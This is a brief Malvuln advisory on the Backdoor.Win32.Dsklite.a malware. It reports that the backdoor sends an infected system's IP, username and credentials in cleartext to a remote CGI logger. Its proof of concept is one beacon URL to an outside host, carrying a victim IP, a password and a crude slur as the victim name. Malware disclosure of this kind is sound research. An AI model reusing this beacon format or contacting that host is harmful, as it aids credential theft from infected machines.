Backdoor.Win32.Dsklite.a Insecure Transit

`Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/6c9665de78ae60a8e057d2c9cdb91596_B.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.Dsklite.a  
Vulnerability: Insecure Transit  
Description: The malware listens on TCP ports 890, 891 and makes an outbound HTTP request passing the ip-address, username and credentials of the infected system in cleartext as part of the URL query string.  
Type: PE32  
MD5: 6c9665de78ae60a8e057d2c9cdb91596  
Vuln ID: MVID-2022-0445  
Dropped files: winlogon.exe  
Disclosure: 01/05/2022  
  
Exploit/PoC:  
http://alch.port5.com/cgi-bin/log.cgi?action=log&ip=192.168.18.129&port=890&vicname=CockSucker&server=DSK%20v1&password=nhn221c5&usrname=gg  
  
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